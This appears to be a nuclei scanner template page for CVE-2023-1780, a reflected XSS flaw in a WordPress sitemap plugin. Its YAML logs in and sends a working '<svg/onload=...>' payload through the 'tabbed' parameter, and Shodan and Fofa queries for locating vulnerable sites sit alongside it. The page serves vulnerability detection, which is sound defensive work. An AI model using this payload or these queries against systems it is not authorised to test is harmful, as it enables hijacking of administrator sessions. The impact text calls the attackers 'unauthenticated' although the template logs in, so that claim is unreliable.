CVE-2023-1780: Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting
- Template: CVE-2023-1780
- Name: Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting
- Description: The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
- Impact: Unauthenticated attackers can inject malicious JavaScript through the tabbed parameter in sitemap generator pages to steal session cookies from high-privilege users including WordPress administrators.
- Remediation: Fixed in version 4.5.3
- Severity: medium
- Authors: r3Y3r53
- Tags: cve, cve2023, wpscan, wp, wordpress, wp-scan, xss, authenticated, codeermeneer, vuln
- References: https://wpscan.com/vulnerability/8176308f-f210-4109-9c88-9372415dbed3, https://nvd.nist.gov/vuln/detail/CVE-2023-1780
- Cves: CVE-2023-1780
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-1780.yaml
- Digest: 490a0046304402207ddbb53a5f907746d46565367c74782908118308b7985682e6a7adbaa185e9d902202c457705415d46c93d0d4af44968cff7c84ca2629c477ed9d2ef0e2ce3f65300
- Created at: 2023-10-17T17:47:17Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1134
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1780.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.00998
- Epss percentile: 0.63618
- Cpe: cpe:2.3:a:codeermeneer:companion_sitemap_generator:*:*:*:*:*:wordpress:*:*
Metadata
- Fofa-query: body=/wp-content/plugins/companion-sitemap-generator/
- Framework: wordpress
- Max-request: 2
- Product: companion_sitemap_generator
- Publicwww-query: /wp-content/plugins/companion-sitemap-generator/
- Shodan-query: http.html:/wp-content/plugins/companion-sitemap-generator/
- Vendor: codeermeneer
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| codeermeneer:companion_sitemap_generator | yes | /v1/products/codeermeneer/companion_sitemap_generator |
Labels
- Name: Plugin - Reflected XSS
- Impact: Attackers can execute malicious scripts in the context of high privilege users, leading to session hijacking or data theft.
- Remediation: Implement proper sanitisation and escaping of parameters before outputting them in pages.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim must load or interact with maliciously crafted pages
- Labels source: projectdiscovery
- From cve: CVE-2023-1780
```yaml
id: CVE-2023-1780
info:
name: Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the tabbed parameter in sitemap generator pages to steal session cookies from high-privilege users including WordPress administrators.
remediation: Fixed in version 4.5.3
reference:
- https://wpscan.com/vulnerability/8176308f-f210-4109-9c88-9372415dbed3
- https://nvd.nist.gov/vuln/detail/CVE-2023-1780
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1780
cwe-id: CWE-79
epss-score: 0.00998
epss-percentile: 0.63618
cpe: cpe:2.3:a:codeermeneer:companion_sitemap_generator:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: codeermeneer
product: companion_sitemap_generator
framework: wordpress
shodan-query: http.html:/wp-content/plugins/companion-sitemap-generator/
fofa-query: body=/wp-content/plugins/companion-sitemap-generator/
publicwww-query: "/wp-content/plugins/companion-sitemap-generator/"
tags: cve,cve2023,wpscan,wp,wordpress,wp-scan,xss,authenticated,codeermeneer,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/tools.php?page=csg-sitemap&tabbed=%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "re not allowed to view")'
- 'contains(body_2, "<svg/onload=alert(document.domain)>")'
condition: and
digest: 490a0046304402207ddbb53a5f907746d46565367c74782908118308b7985682e6a7adbaa185e9d902202c457705415d46c93d0d4af44968cff7c84ca2629c477ed9d2ef0e2ce3f65300:922c64590222798bb761d5b6d8e72950
```